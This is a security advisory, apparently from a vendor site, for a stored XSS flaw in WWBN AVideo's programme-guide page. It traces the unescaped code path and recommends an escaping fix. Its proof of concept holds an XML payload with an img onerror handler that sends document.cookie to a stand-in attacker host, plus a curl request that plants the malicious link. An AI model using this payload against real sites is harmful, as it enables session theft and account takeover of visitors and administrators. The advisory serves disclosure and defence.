CVE-2026-39367 is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39367.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-39367 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — objects/videoAddNew.json.php:117-119
The epg_link parameter is stored with only a URL format check:
if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
$obj->setEpg_link($_POST['epg_link']);
}
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — objects/EpgParser.php:321
Programme titles are extracted as raw strings with no sanitization:
$this->epgdata[$grouper ?: 0] = [
'title' => (string) $element->title,
// ...
];
3. Sink — plugin/PlayerSkins/epg.php:343-351
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection
} else if ($width <= $minimumWidth) {
$text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection
} else if ($width <= $minimumSmallFont) {
$text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection
} else {
$text = "{$program['title']}<div>..."; // HTML injection
}
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
<?xml version="1.0" encoding="UTF-8"?>
<tv>
<channel id="ch1">
<display-name>Test Channel</display-name>
</channel>
<programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1">
<title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>
</programme>
</tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
'https://target.example/objects/videoAddNew.json.php' \
-d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
- Session hijacking: Any visitor's session cookies are exfiltrated, including administrators
- Account takeover: Stolen admin sessions allow full platform control
- Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction
- Wide blast radius: The EPG page is publicly accessible with no authentication required
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
// Around line 340, before the width checks:
$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$safeTitle}\">.</abbr>";
} else if ($width <= $minimumWidth) {
$text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>";
} else if ($width <= $minimumSmallFont) {
$text = "<small class=\"small-font\">{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div></small>";
} else {
$text = "{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div>";
}
Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-39367 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-39367 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-39367. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-39367 in your dependencies?
O3 Security finds CVE-2026-39367 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.